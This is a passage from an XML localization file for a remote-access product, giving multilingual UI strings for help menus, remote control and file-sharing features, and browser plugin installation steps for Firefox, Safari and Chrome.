<nl>Alle bronnen die u nodig hebt om ten volle gebruik te maken van %PRODUCTNAME.</nl>
</msg>
<msg name="HELP.DESC.1">
<en>Getting Started Guide</en>
<de>Getting Started Guide</de>
<fr>Guide de démarrage</fr>
<ja>入門ガイド</ja>
<es>Guía Comenzar a utilizar</es>
<it>Guida introduttiva</it>
<ru>Руководство по началу работы</ru>
<zh>入门指南</zh>
<ko>시작하기 안내서</ko>
<en-gb>Getting Started Guide</en-gb>
<hu>Első lépések</hu>
<pt-br>Guia de introdução</pt-br>
<nl>Handleiding Aan de slag</nl>
</msg>
<msg name="HELP.DESC.2">
<en>Account details</en>
<de>Konto ändern</de>
<fr>Compte détaillé</fr>
<ja>アカウント情報</ja>
<es>Detalles de la cuenta</es>
<it>Dettagli account</it>
<ru>Сведения об учетной записи</ru>
<zh>帐户详细信息</zh>
<ko>계정 세부사항</ko>
<en-gb>Account details</en-gb>
<hu>Felhasználói fiók adatai</hu>
<pt-br>Detalhes da conta</pt-br>
<nl>Detailgegevens van account</nl>
</msg>
<msg name="HELP.DESC.3">
<en>Customer support info</en>
<de>Informationen zu unserem Support</de>
<fr>Informations de l'assistance clientèle</fr>
<ja>カスタマ サポート情報</ja>
<es>Información de atención al cliente</es>
<it>Informazioni sul supporto clienti</it>
<ru>Сведения о поддержке клиентов</ru>
<zh>客户支持信息</zh>
<ko>고객 지원 정보</ko>
<en-gb>Customer support info</en-gb>
<hu>Ügyféltámogatási információ</hu>
<pt-br>Informações de suporte ao cliente</pt-br>
<nl>Contactgegevens van de afdeling Klantensupport</nl>
</msg>
<msg name="HELP.DESC.4">
<en>Feedback form</en>
<de>Feedback</de>
<fr>Feedback</fr>
<ja>フィードバック フォーム</ja>
<es>Formulario de comentarios</es>
<it>Modulo utente</it>
<ru>Форма обратной связи</ru>
<zh>反馈表单</zh>
<ko>피드백 양식</ko>
<en-gb>Feedback form</en-gb>
<hu>Visszajelzési űrlap</hu>
<pt-br>Formulário de feedback</pt-br>
<nl>Feedbackformulier</nl>
</msg>
</cat>
<cat name="LMI">
<msg name="HELP">
<en>Help</en>
<de>Hilfe</de>
<fr>Aide</fr>
<ja>ヘルプ</ja>
<es>Ayuda</es>
<it>Aiuto</it>
<ru>Справка</ru>
<zh>帮助</zh>
<ko>도움말</ko>
<en-gb>Help</en-gb>
<hu>Súgó</hu>
<pt-br>Ajuda</pt-br>
<nl>Help</nl>
</msg>
<msg name="HOME">
<en>Home</en>
<de>Startseite</de>
<fr>Accueil</fr>
<ja>ホーム</ja>
<es>Inicio</es>
<it>Home</it>
<ru>Домашняя страница</ru>
<zh>主页</zh>
<ko>홈</ko>
<en-gb>Home</en-gb>
<hu>Kezdőlap</hu>
<pt-br>Página inicial</pt-br>
<nl>Startpagina</nl>
</msg>
<msg name="PREFER">
<en>Preferences</en>
<de>Einstellungen</de>
<fr>Préférences</fr>
<ja>設定</ja>
<es>Preferencias</es>
<it>Preferenze</it>
<ru>Параметры</ru>
<zh>首选项</zh>
<ko>기본 설정</ko>
<en-gb>Preferences</en-gb>
<hu>Beállítások</hu>
<pt-br>Preferências</pt-br>
<nl>Voorkeurinstellingen</nl>
</msg>
<msg name="REMCTRL.1">
<en>Secure desktop access</en>
<es>Acceso a escritorio seguro</es>
<de>Sicherer Desktopzugriff</de>
<fr>Sécurisez l'accès au bureau</fr>
<it>Proteggi accesso al desktop</it>
<ru>Защищенный доступ к рабочему столу</ru>
<ja>安全なデスクトップ アクセス</ja>
<zh>确保桌面访问安全</zh>
<ko>데스크탑 액세스 보안</ko>
<en-gb>Secure desktop access</en-gb>
<hu>Biztonságos hozzáférés az asztali számítógéphez</hu>
<pt-br>Acesso seguro ao desktop</pt-br>
<nl>Beveiligde toegang tot het bureaublad</nl>
</msg>
<msg name="REMCTRL.2">
<en>with remote-to-local printing</en>
<es>Con impresión remoto-a-local</es>
<de>mit Druck von einem Remotestandort</de>
<fr>avec l'impression locale de documents distants</fr>
<it>con stampa da remoto a locale</it>
<ru>с печатью удаленный-локальный</ru>
<ja>リモートからローカルへの出力機能</ja>
<zh>使用远程至本地打印</zh>
<ko>원격-로컬 인쇄</ko>
<en-gb>with remote-to-local printing</en-gb>
<hu>a nyomtatás távolról a helyi nyomtatóra funkcióval</hu>
<pt-br>com impressão do computador remoto para o local</pt-br>
<nl>met lokaal afdrukken van externe bestanden</nl>
</msg>
<msg name="FILEXFER.1">
<en>Synchronize &amp; back up</en>
<de>Synchronisieren &amp; back up</de>
<fr>Synchroniser et sauvegarder</fr>
<es>Sincronizar &amp; hacer copia de seguridad</es>
<it>Sincronizzazione e backup</it>
<ru>Синхронизовать и создать резервную копию</ru>
<ja>同期 &amp; バックアップ</ja>
<zh>同步与备份</zh>
<ko>&amp; 백업 동기화</ko>
<en-gb>Synchronise &amp; back up</en-gb>
<hu>Szinkronizálás és biztonsági mentés</hu>
<pt-br>Sincronize &amp; faça backup</pt-br>
<nl>Synchroniseren &amp; back-up maken</nl>
</msg>
<msg name="FILEXFER.2">
<en>important documents</en>
<es>de documentos importantes</es>
<de>wichtige Dokumente</de>
<fr>documents importants</fr>
<it>di documenti importanti</it>
<ru>важных документов</ru>
<ja>重要なドキュメント</ja>
<zh>重要文档</zh>
<ko>중요 문서</ko>
<en-gb>important documents</en-gb>
<hu>fontos dokumentumok</hu>
<pt-br>de documentos importantes</pt-br>
<nl>van belangrijke documenten</nl>
</msg>
<msg name="FILESHARE.1">
<en>Securely share files</en>
<de>Dateien freigeben</de>
<fr>Partage en toute sécurité de fichiers</fr>
<es>Compartir con seguridad archivos</es>
<it>Condivisione sicura di file</it>
<ru>Безопасный общий доступ к файлам</ru>
<ja>ファイルの安全な共有</ja>
<zh>安全地共享文件</zh>
<ko>안전한 파일 공유</ko>
<en-gb>Securely share files</en-gb>
<hu>Biztonságos fájlmegosztás</hu>
<pt-br>Compartilhe com segurança</pt-br>
<nl>Veilig bestanden delen</nl>
</msg>
<msg name="FILESHARE.2">
<en>too large for email</en>
<de>die für Emails zu groß sind.</de>
<fr>trop lourds pour être envoyés par courrier électronique</fr>
<es>demasiado grandes para el correo electrónico</es>
<it>di dimensioni troppo grandi per l'invio tramite e-mail</it>
<ru>слишком больших для отправки по электронной почте</ru>
<ja>電子メールに添付できない大きなファイル</ja>
<zh>太大无法通过电子邮件发送</zh>
<ko>전자 메일로 전송하기에 너무 큼</ko>
<en-gb>too large for e-mail</en-gb>
<hu>túl nagy az e-mail számára</hu>
<pt-br>arquivos muito grandes para enviar por email</pt-br>
<nl>die te groot zijn voor verzending via e-mail</nl>
</msg>
<msg name="GUESTINVITE.1">
<en>Invite a guest to</en>
<es>Invitar a un usuario a</es>
<de>Einen Gast für den Zugriff</de>
<fr>Invitez une personne à</fr>
<it>Invita un ospite ad</it>
<ru>Пригласить гостя к</ru>
<ja>ゲストを招待</ja>
<zh>邀请来宾至</zh>
<ko>게스트 초대</ko>
<en-gb>Invite a guest to</en-gb>
<hu>Hívjon meg vendégeket, hogy</hu>
<pt-br>Convite uma pessoa para</pt-br>
<nl>Nodig een gast uit</nl>
</msg>
<msg name="GUESTINVITE.2">
<en>access your desktop</en>
<es>acceder a su escritorio</es>
<de>auf Ihren Desktop einladen</de>
<fr>accéder à votre bureau</fr>
<it>accedere al tuo desktop</it>
<ru>к доступу к своему рабочему столу</ru>
<ja>デスクトップにアクセス</ja>
<zh>访问您的桌面</zh>
<ko>데스크탑에 액세스</ko>
<en-gb>access your desktop</en-gb>
<hu>hozzáférjenek asztali számítógépéhez</hu>
<pt-br>acessar seu desktop</pt-br>
<nl>om toegang krijgen tot uw bureaublad</nl>
</msg>
<msg name="DISCONNECT">
<en>Disconnect</en>
<de>Schließen</de>
<fr>Déconnecter</fr>
<ja>切断</ja>
<es>Desconectar</es>
<it>Disconnetti</it>
<ru>Отключить</ru>
<zh>断开连接</zh>
<ko>연결 해제</ko>
<en-gb>Disconnect</en-gb>
<hu>Kilépés</hu>
<pt-br>Desconectar</pt-br>
<nl>Verbinding verbreken</nl>
</msg>
</cat>
</cat>
<cat name="MACMENU">
<msg os="macosx" name="HIDEOTHERS">
<en>Hide Others</en>
<de>Andere ausblenden</de>
<es>Ocultar otros</es>
<fr>Masquer les autres</fr>
<it>Nascondi altri</it>
<ru>Скрыть Другие</ru>
<ja>ほかを隠す</ja>
<zh>隐藏其他</zh>
<ko>다른 사용자 숨김</ko>
<hu>Egyéb elrejtése</hu>
<pt-br>Ocultar Outros</pt-br>
<nl>Anderen verbergen</nl>
</msg>
<msg os="macosx" name="SERVICES">
<en>Services</en>
<de>Dienste</de>
<es>Servicios</es>
<fr>Services</fr>
<it>Servizi</it>
<ru>Службы</ru>
<ja>サービス</ja>
<zh>服务</zh>
<ko>서비스</ko>
<hu>Szolgáltatások</hu>
<pt-br>Serviços</pt-br>
<nl>Services</nl>
</msg>
<msg os="macosx" name="SHOWALL">
<en>Show All</en>
<de>Alle anzeigen</de>
<es>Mostrar todo</es>
<fr>Afficher tout</fr>
<it>Mostra tutto</it>
<ru>Показать все</ru>
<ja>すべて表示</ja>
<zh>显示全部</zh>
<ko>모든 사용자 보기</ko>
<hu>Az összes megjelenítése</hu>
<pt-br>Exibir Todos</pt-br>
<nl>Alles weergeven</nl>
</msg>
</cat>
<cat name="MOZPLUGIN">
<cat name="BROWSERNAME">
<msg name="FIREFOX">
<en>Firefox</en>
<de>Firefox</de>
<es>Firefox</es>
<fr>Firefox</fr>
<it>Firefox</it>
<ru>Firefox</ru>
<ja>Firefox</ja>
<zh>Firefox</zh>
<ko>Firefox</ko>
<en-gb>Firefox</en-gb>
<hu>Firefox</hu>
<pt-br>Firefox</pt-br>
<nl>Firefox</nl>
</msg>
<msg name="SAFARI">
<en>Safari</en>
<de>Safari</de>
<es>Safari</es>
<fr>Safari</fr>
<it>Safari</it>
<ru>Safari</ru>
<ja>Safari</ja>
<zh>Safari</zh>
<ko>Safari</ko>
<en-gb>Safari</en-gb>
<hu>Safari</hu>
<pt-br>Safari</pt-br>
<nl>Safari</nl>
</msg>
<msg name="CHROME">
<en>Chrome</en>
<de>Chrome</de>
<es>Chrome</es>
<fr>Chrome</fr>
<it>Chrome</it>
<ru>Chrome</ru>
<ja>Chrome</ja>
<zh>Chrome</zh>
<ko>Chrome</ko>
<en-gb>Chrome</en-gb>
<hu>Chrome</hu>
<pt-br>Chrome</pt-br>
<nl>Chrome</nl>
</msg>
</cat>
<msg name="TITLE">
<en>%BROWSERNAME Plugin Installation</en>
<de>Installation von %BROWSERNAME Plugin</de>
<es>Instalación de complemento de %BROWSERNAME</es>
<fr>Installation de %BROWSERNAME Plugin</fr>
<it>Installazione del plugin %BROWSERNAME</it>
<ru>Установка подключаемых модулей %BROWSERNAME</ru>
<ja>%BROWSERNAME プラグインのインストール</ja>
<zh>%BROWSERNAME 插件安装</zh>
<ko>%BROWSERNAME 플러그인 설치</ko>
<en-gb>%BROWSERNAME Plugin Installation</en-gb>
<hu>%BROWSERNAME beépülő telepítése</hu>
<pt-br>%BROWSERNAME Instalação do plugin</pt-br>
<nl>%BROWSERNAME - Installatie van browser-invoegtoepassing</nl>
</msg>
<cat name="NOTINSTALLED">
<msg name="TITLE">
<en>Install the %PRODUCTNAME plugin for %BROWSERNAME</en>
<de>%PRODUCTNAME-Plugin für %BROWSERNAME installieren</de>
<es>Instalación del complemento de %PRODUCTNAME para %BROWSERNAME</es>
<fr>Installer le module externe %PRODUCTNAME pour %BROWSERNAME</fr>
<it>Installa il plug-in di %PRODUCTNAME per %BROWSERNAME</it>
<ru>Установить подключаемый модуль %PRODUCTNAME для %BROWSERNAME</ru>
<ja>%BROWSERNAME 用の %PRODUCTNAME プラグインのインストール</ja>
<zh>安装 %BROWSERNAME 的 %PRODUCTNAME 插件</zh>
<ko>%BROWSERNAME용 %PRODUCTNAME 플러그인 설치</ko>
<en-gb>Install the %PRODUCTNAME plugin for %BROWSERNAME</en-gb>
<hu>%PRODUCTNAME beépülő modul telepítése %BROWSERNAME böngészőhöz</hu>
<pt-br>Instale o %PRODUCTNAME plugin para %BROWSERNAME</pt-br>
<nl>Installeer de %PRODUCTNAME-invoegtoepassing voor %BROWSERNAME</nl>
</msg>
<msg name="PARA1">
<en>For the best remote access experience, install the %PRODUCTNAME plugin for %BROWSERNAME.</en>
<de>Installieren Sie das %PRODUCTNAME-Plugin für %BROWSERNAME, um alle Fernzugriffsfunktionen voll ausnutzen zu können.</de>
<es>Para obtener una experiencia de acceso remoto inmejorable, instale el complemento de %PRODUCTNAME para %BROWSERNAME.</es>
<fr>Pour une expérience d'accès à distance optimale, installez le module externe %PRODUCTNAME pour %BROWSERNAME.</fr>
<it>Per utilizzare in maniera ottimale l'accesso remoto, installare il plugin di %PRODUCTNAME per %BROWSERNAME.</it>
<ru>Для оптимального удаленного доступа установите подключаемый модуль %PRODUCTNAME для %BROWSERNAME.</ru>
<ja>最適な状態でリモート アクセスを利用するために、%BROWSERNAME 用の %PRODUCTNAME プラグインをインストールしてください。</ja>
<zh>要更好地进行远程访问,请安装 %BROWSERNAME 的 %PRODUCTNAME 插件。</zh>
<ko>보다 나은 원격 액세스 경험을 위해 %BROWSERNAME용 %PRODUCTNAME 플러그인을 설치하십시오.</ko>
<en-gb>For the best remote access experience, install the %PRODUCTNAME plugin for %BROWSERNAME.</en-gb>
<hu>A %PRODUCTNAME beépülő modul telepítése %BROWSERNAME böngészőhöz a hatékonyabb távoli elérés érdekében.</hu>
<pt-br>Para melhor experiência de acesso remoto, instale o %PRODUCTNAME plugin para %BROWSERNAME.</pt-br>
<nl>Om de toegang op afstand optimaal te laten functioneren, raden wij aan om de %PRODUCTNAME-invoegtoepassing voor %BROWSERNAME te installeren.</nl>
</msg>
<msg name="PARA2">
<en>Installing the plugin is optional. Should you choose to go on without it you can still access your computer using Java-based software.</en>
<de>Die Installation des Plug-Ins ist optional. Wenn Sie ohne das Plug-In fortsezten möchten, können Sie auf Ihren Computer auch mit einer Java Software zugreifen.</de>
<es>La instalación del complemento es opcional. Si no lo instala, tendrá la posibilidad de acceder a su ordenador utilizando un software basado en Java.</es>
<it>L'installazione del plugin è opzionale. Se si decide di non eseguirla, è comunque sempre possibile accedere al proprio computer utilizzando un software basato su Java.</it>
<ru>Подключаемый модуль устанавливается по желанию. Доступ к компьютеру возможен и без этого модуля с помощью программного обеспечения на основе Java.</ru>
<ja>このプラグインのインストールはオプションです。インストールしない場合でも、Java ベースのソフトウェアを使用してコンピュータにアクセスできます。</ja>
<zh>可以选择安装此插件。如果选择不安装此插件,您仍可以通过基于 Java 的软件访问计算机。</zh>
<ko>플러그인 설치 여부는 선택 사항입니다. 설치하지 않도록 선택한 경우에도 Java 기반 소프트웨어를 사용하여 컴퓨터에 여전히 액세스할 수 있습니다.</ko>
<en-gb>Installing the plugin is optional. Should you choose to go on without it you can still access your computer using Java-based software.</en-gb>
<hu>A beépülő telepítése opcionális. Amennyiben e nélkül folytatja, Java-alapú szoftver segítségével továbbra is hozzáférhet a számítógépéhez.</hu>
<pt-br>A instalação do plugin é opcional. Se decidir continuar sem a instalação, ainda poderá acessar o computador usando software baseado em java.</pt-br>
<nl>De installatie van de invoegtoepassing is niet verplicht. Als u ervoor kiest deze niet te gebruiken, kunt u met de op Java gebaseerde software nog steeds toegang krijgen tot uw computer.</nl>
</msg>
<msg name="NOTHANKS">
<en>No thanks, maybe next time</en>
<de>Nein, danke, vielleicht später</de>
<es>No gracias, tal vez la próxima vez</es>
<fr>Non merci. Une autre fois.</fr>
<it>No, forse in un secondo momento</it>
<ru>Нет, возможно, в следующий раз</ru>
<ja>今回は見送る</ja>
<zh>不用了,下次再安装</zh>
<ko>아니오, 다음에 하겠습니다.</ko>
<en-gb>No thanks, maybe next time</en-gb>
<hu>Köszönöm nem, talán majd később</hu>
<pt-br>Não, obrigado, talvez da próxima vez</pt-br>
<nl>Nee bedankt, misschien de volgende keer</nl>
</msg>
<msg name="NOTHANKS.EXPLAIN">
<en>I'll use Flash or Java for now.</en>
<de>Ich werde vorläufig Flash oder Java verwenden.</de>
<es>Por ahora utilizaré Flash o Java.</es>
<fr>Je vais continuer à utiliser Flash ou Java pour l'instant.</fr>
<it>Per ora utilizzerò Flash o Java.</it>
<ru>Сейчас я буду использовать Flash или Java.</ru>
<ja>今のところ Flash または Java を使用</ja>
<zh>暂时使用 Flash 或 Java 。</zh>
<ko>당분간은 Flash 또는 Java를 사용하겠습니다.</ko>
<en-gb>I'll use Flash or Java for now.</en-gb>
<hu>Egyelőre inkább Flash vagy Java környezetet használok.</hu>
<pt-br>Usarei o Flash ou o Java por ora.</pt-br>
<nl>Ik zal nu Flash of Java gebruiken.</nl>
</msg>
<msg name="INSTALL">
<en>Install...</en>
<de>Installieren...</de>
<es>Instalar...</es>
<fr>Installer...</fr>
<it>Installa...</it>
<ru>Установить...</ru>
<ja>インストール...</ja>
<zh>安装...</zh>
<ko>설치...</ko>
<en-gb>Install...</en-gb>
<hu>Telepít...</hu>
<pt-br>Instalar...</pt-br>
<nl>Installeren...</nl>
</msg>
<msg name="INSTALLACP">
<en>Install the %BROWSERNAME plugin</en>
<de>%BROWSERNAME-Plugin installieren</de>
<es>Instalar el complemento para %BROWSERNAME</es>
<fr>Installez le module externe pour %BROWSERNAME</fr>
<it>Installa il plugin per %BROWSERNAME</it>
<ru>Установить подключаемый модуль %BROWSERNAME</ru>
<ja>%BROWSERNAME プラグインのインストール</ja>
<zh>安装 %BROWSERNAME 插件</zh>
<ko>%BROWSERNAME 플러그인 설치</ko>
<en-gb>Install the %BROWSERNAME plugin</en-gb>
<hu>Telepítse a %BROWSERNAME beépülő modult</hu>
<pt-br>Instale o plugin para %BROWSERNAME</pt-br>
<nl>Installeer de %BROWSERNAME-invoegtoepassing</nl>
</msg>
<msg name="INSTALLACP.EXPLAIN">
<en>It's just a few clicks!</en>
<de>Ganz einfach mit nur wenigen Mausklicks!</de>
<es>Sólo hacen falta unos pocos clics.</es>
<fr>Quelques clics suffisent !</fr>
<it>Bastano pochi clic!</it>
<ru>Это займет всего несколько нажатий!</ru>
<ja>ほんの数回クリックするだけです!</ja>
<zh>仅需几次单击操作即可完成!</zh>
<ko>클릭 몇 번으로 가능합니다.</ko>
<en-gb>It's just a few clicks!</en-gb>
<hu>Csak pár kattintás az egész!</hu>
<pt-br>Bastam alguns cliques!</pt-br>
<nl>Het is slechts een paar keer klikken met de muis!</nl>
</msg>
<msg name="CONTINUE">
<en>Continue</en>
<de>Fortfahren</de>
<es>Continuar</es>
<fr>Continuer</fr>
<it>Continua</it>
<ru>Продолжить</ru>
<ja>続行</ja>
<zh>继续</zh>
<ko>계속</ko>
<en-gb>Continue</en-gb>
<hu>Folytatás</hu>
<pt-br>Continuar</pt-br>
<nl>Doorgaan</nl>
</msg>
<msg name="RESTARTBROWSER">
<en>Browser restart required because of a plugin update!</en>
<de>Der Browser muss aufgrund einer Plug-in-Aktualisierung neu gestartet werden!</de>
<es>Debe reiniciar el navegador porque se ha actualizado un complemento</es>
<fr>Redémarrage du navigateur requis pour cause de mise à jour du module d'extension.</fr>
<it>Un aggiornamento del plugin richiede il riavvio del browser.</it>
<ru>Из-за обновления подключаемого модуля необходимо перезапустить обозреватель!</ru>
<ja>プラグインの更新のためブラウザを再起動してください。</ja>
<zh>因为插件更新,需要重新启动浏览器!</zh>
<ko>플러그인 업데이트로 인해 브라우저를 다시 시작해야 합니다!</ko>
<hu>Beépülő frissítése miatt újra kell indítani a böngészőt!</hu>
<pt-br>Reinicialização do navegador necessária devido a uma atualização de plugin!</pt-br>
<nl>De browser moet opnieuw worden gestart omdat een update voor een invoegtoepassing is uitgevoerd!</nl>
</msg>
</cat>
<cat name="DOINSTALL">
<msg name="TITLE">
<en>Install Plugin</en>
<de>Installieren von Plugin</de>
<es>Instalar complemento</es>
<fr>Installez de Plugin</fr>
<it>Installa plugin</it>
<ru>Установить подключаемый модуль</ru>
<ja>プラグインのインストール</ja>
<zh>安装插件</zh>
<ko>플러그인 설치</ko>
<en-gb>Install Plugin</en-gb>
<hu>Beépülő modul telepítése</hu>
<pt-br>Instalar plugin</pt-br>
<nl>Invoegtoepassing installeren</nl>
</msg>
<msg name="PARA1">
<en>1. Click the Install button:</en>
<de>1. Klicken Sie die Taste Installieren an:</de>
<es>1. Haga clic en el botón Instalar:</es>
<it>1. Fare clic sul pulsante Installa:</it>
<ru>1. Щелкните кнопку "Установить":</ru>
<ja>1. [インストール] ボタンをクリックしてください:</ja>
<zh>1. 单击“安装”按钮:</zh>
<ko>1. 설치 버튼을 클릭합니다:</ko>
<en-gb>1. Click the Install button:</en-gb>
<hu>1. Kattintson a Telepítés gombra:</hu>
<pt-br>1. Clique no botão Instalar:</pt-br>
<nl>1. Klik op de knop "Installeren":</nl>
</msg>
<msg name="PARA2">
<en>2. If %BROWSERNAME tells you that it prevented a website from installing software, click the "Edit Options" button next to the message.</en>
<de>2.Wenn %BROWSERNAME sagt, dass es eine Website daran hinderte, die Software zu installieren, klicken Sie "Editoptionen" neben der Meldung an.</de>
<es>2. Si %BROWSERNAME le informa de que ha evitado que un sitio web instale software, haga clic en el botón "Editar opciones" que está junto al mensaje.</es>
<it>2. Se %BROWSERNAME notifica che ha impedito l'installazione di un software da parte di un sito Web, fare clic sul pulsante "Modifica opzioni" accanto al messaggio.</it>
<ru>2. Если %BROWSERNAME сообщил о том, что воспрепятствовал установке программного обеспечения с некоторого веб-сайта, щелкните кнопку "Изменить параметры" рядом с таким сообщением.</ru>
<ja>2. %BROWSERNAME により、Webサイトでのソフトウェアのインストールを許可しなかったというメッセージが表示された場合は、そのメッセージの横にある [オプションの編集] ボタンをクリックしてください。</ja>
<zh>2. 如果 %BROWSERNAME 通知您已阻止某个 Web 站点安装软件,请单击消息旁边的“编辑选项”按钮。</zh>
<ko>2. %BROWSERNAME가 웹 사이트에서 소프트웨어를 설치하지 말라는 메시지를 표시할 경우, 메시지 옆에 있는 "옵션 편집" 버튼을 클릭합니다.</ko>
<en-gb>2. If %BROWSERNAME tells you that it prevented a website from installing software, click the "Edit Options" button next to the message.</en-gb>
<hu>2. Ha a %BROWSERNAME jelzi, hogy megakadályozott egy webhelyet egy szoftver telepítésében, akkor kattintson a "Beállítások szerkesztése" gombra az üzenet mellett.</hu>
<pt-br>2. Se o %BROWSERNAME disser que ele impediu que um site da web instalasse um software, clique no botão "Editar opções" ao lado da mensagem.</pt-br>
<nl>2. Als in uw %BROWSERNAME-browser een melding verschijnt dat werd voorkomen dat een website software installeert, klikt u naast het bericht op de knop 'Opties voor bewerken' ('Edit Options').</nl>
</msg>
<msg name="PARA3">
<en>3. Click "Allow" in the dialog that appears, then click "Ok".</en>
<de>3. Klicken Sie Ermöglichen an in dem Dialogfenster, das erscheint, dann klicken sie an "OK".</de>
<es>3. Haga clic en "Permitir" en el cuadro de diálogo que aparece, a continuación, haga clic en "Aceptar".</es>
<it>3. Fare clic su "Consenti" nella finestra di dialogo visualizzata, quindi su "Ok".</it>
<ru>3. В появившемся диалоговом окне щелкните "Разрешить", а затем нажмите "ОК".</ru>
<ja>3. 表示されたダイアログの [許可] をクリックし、次に [OK] をクリックします。</ja>
<zh>3. 在显示的对话框中单击“允许”,然后单击“确定”。</zh>
<ko>3. 대화 상자가 나타나면 "허용"을 클릭한 후 "확인"을 클릭합니다.</ko>
<en-gb>3. Click "Allow" in the dialogue box that appears, then click "OK".</en-gb>
<hu>3. Kattintson az "Engedélyezés"-re a megjelenő párbeszédablakban, majd az OK gombra.</hu>
<pt-br>3. Clique em "Permitir" na caixa exibida e, em seguida, clique em "OK".</pt-br>
<nl>3. Klik in het dialoogvenster dat vervolgens verschijnt op de knop 'Toestaan' ('Allow') en klik daarna op 'OK'.</nl>
</msg>
<msg name="PARA4">
<en>4. Click the Install button again:</en>
<de>4. Klicken Sie Installieren wieder an:</de>
<es>4. Haga clic de nuevo en el botón Instalar:</es>
<it>4. Fare di nuovo clic sul pulsante Installa:</it>
<ru>4. Щелкните кнопку "Установить" еще раз:</ru>
<ja>4. [インストール] ボタンをもう一度クリックします:</ja>
<zh>4. 再次单击“安装”按钮:</zh>
<ko>4. 설치 버튼을 다시 클릭합니다:</ko>
<en-gb>4. Click the Install button again:</en-gb>
<hu>4. Kattintson ismét a Telepítés gombra:</hu>
<pt-br>4. Clique no botão Install novamente:</pt-br>
<nl>4. Klik opnieuw op de knop "Installeren":</nl>
</msg>
<msg name="PARA5">
<en>5. Click "Install Now" in the dialog that appears.</en>
<de>5. Klicken Sie an Jetzt installieren in dem Dialogfenster, das auf dem Bildschirm erscheint.</de>
<es>5. Haga clic en "Instalar ahora" en el cuadro de diálogo que aparece.</es>
<it>5. Fare clic su "Installa adesso" nella finestra di dialogo visualizzata.</it>
<ru>5. В появившемся диалоговом окне щелкните "Установить".</ru>
<ja>5. 表示されたダイアログの [今すぐインストール] をクリックします。</ja>
<zh>5. 在显示的对话框中单击“立即安装”。</zh>
<ko>5. 대화 상자가 나타나면 "지금 설치"를 클릭합니다.</ko>
<en-gb>5. Click "Install Now" in the dialogue box that appears.</en-gb>
<hu>5. Kattintson a "Telepítés most" gombra a megjelenő párbeszédablakban.</hu>
<pt-br>5. Clique na caixa de diálogo "Instalar agora" exibida.</pt-br>
<nl>5. Klik in het dialoogvenster dat vervolgens verschijnt op "Nu installeren".</nl>
</msg>
<msg name="PARA6A">
<en>6. When the installation has finished, you're done. Click this button to continue:</en>
<de>6. Wenn die Installation zu Ende ist, sind Sie fertig. Klicken Sie diese Taste an zum fortsetzen:</de>
<es>6. Cuando la instalación haya finalizado, la operación habrá terminado igualmente. Haga clic en este botón para continuar:</es>
<it>6. Al termine dell'installazione non è necessario eseguire altre operazioni. Fare clic su questo pulsante per continuare:</it>
<ru>6. После окончания установки операция завершается. Щелкните данную кнопку, чтобы продолжить:</ru>
<ja>6. インストールが終了すると完了です。続行するには、このボタンをクリックします:</ja>
<zh>6. 安装结束后,即已完成操作。单击此按钮继续:</zh>
<ko>6. 설치가 완료되면 모든 작업을 수행한 것입니다. 계속하려면 다음 버튼을 클릭하십시오.</ko>
<en-gb>6. When the installation has finished, you're done. Click this button to continue:</en-gb>
<hu>6. Amint a telepítés véget ér, a folyamat is befelyeződik. Kattintson erre a gombra a folytatáshoz:</hu>
<pt-br>6. Quando a instalação for concluída, você terá acabado. Clique neste botão para continuar:</pt-br>
<nl>6. Nadat deze installatie is voltooid, bent u klaar. Klik op de volgende knop om verder te gaan:</nl>
</msg>
<msg name="PARA6B">
<en>6. When the installation has finished, you might receive a cryptic message from your browser. This means that you will need to restart %BROWSERNAME for the update to take place. You can choose to continue without restarting. Click this button to continue:</en>
<de>7. Wenn die Installation zu Ende ist, bekommen Sie vielleicht eine kryptische Meldung von Ihrem Web-Browser. Dies bedeutet, dass Sie vielleicht %BROWSERNAME neustarten müssen, damit das Updaten stattfinden kann. Sie können auch fortsetzen, ohne Firefox neu zu starten. Klicken Sie diese Taste an zum Fortsetzten:</de>
<es>6. Una vez finalizada la instalación, es posible que reciba un mensaje críptico del navegador. Esto implica que será necesario reiniciar %BROWSERNAME para que tenga lugar la actualización. Puede elegir continuar sin reiniciar. Haga clic en este botón para continuar:</es>
<it>6. Al termine dell'installazione, è possibile che si riceva un messaggio dal browser in cui si indica che è necessario riavviare %BROWSERNAME per applicare l'aggiornamento. È possibile continuare senza riavviare. Fare clic su questo pulsante per continuare:</it>
<ru>6. После завершения установки может появиться зашифрованное сообщение от обозревателя. Это указывает на необходимость перезапуска %BROWSERNAME, чтобы обновление вступило в силу. Можно продолжить работу без перезапуска. Щелкните данную кнопку, чтобы продолжить.</ru>
<ja>6. インストールが完了した時点で、ブラウザに暗号メッセージが表示されることがあります。これは、更新を有効にするために %BROWSERNAME を再起動する必要があることを意味します。再起動しないで作業を続行することもできます。続行するには、このボタンをクリックします:</ja>
<zh>6. 安装完成后,您可能收到一条来自浏览器的隐晦消息。这表示您需要重新启动 %BROWSERNAME,以使更新生效。也可以选择不重新启动而继续进行。单击此按钮继续:</zh>
<ko>6. 설치가 완료되면 브라우저로부터 암호화 메시지를 수신할 수도 있습니다. 이것은 업데이트를 하려면 %BROWSERNAME 를 다시 시작해야 한다는 메시지입니다. 다시 시작하지 않고 계속하도록 선택할 수 있습니다. 계속하려면 다음 버튼을 클릭하십시오.</ko>
<en-gb>6. When the installation has finished, you might receive a cryptic message from your browser. This means that you will need to restart %BROWSERNAME for the update to take place. You can choose to continue without restarting. Click this button to continue:</en-gb>
<hu>6. Amikor véget ér a telepítés, rejtélyes üzenetet kaphat a böngészőtől. Ez azt jelenti, hogy újra kell indítania a %BROWSERNAME böngészőt, hogy a frissítésre sor kerüljön. Dönthet úgy is, hogy újraindítás nélkül folytatja. Kattintson erre a gombra a folytatáshoz:</hu>
<pt-br>6. Quando a instalação for concluída, você poderá receber uma mensagem criptografada do navegador. Isso significa que precisará reiniciar o %BROWSERNAME para que a atualização ocorra. É possível continuar sem reiniciar. Clique neste botão para continuar:</pt-br>
<nl>6. Nadat de installatie is voltooid, verschijnt mogelijk een vreemd bericht in uw browser. Hiermee wordt aangegeven dat u %BROWSERNAME opnieuw moet starten om ervoor te zorgen dat de update correct wordt doorgevoerd. U kunt ook verder gaan zonder de toepassing opnieuw te starten. Klik op de volgende knop om verder te gaan:</nl>
</msg>
<msg name="PARA8">
<en>
</en>
<de>
</de>
<es>
</es>
<fr>
</fr>
</msg>
<cat name="CHROME">
<msg name="PARA1">
<en>The plug-in is downloaded and shown in the bottom-left corner of your screen. Don’t click it yet! You’ll need it in step 3.</en>
<de>Das Plugin wurde heruntergeladen und ist in der unteren linken Ecke Ihres Bildschirms zu sehen. Klicken Sie noch nicht darauf! Sie brauchen es in Schritt 3.</de>
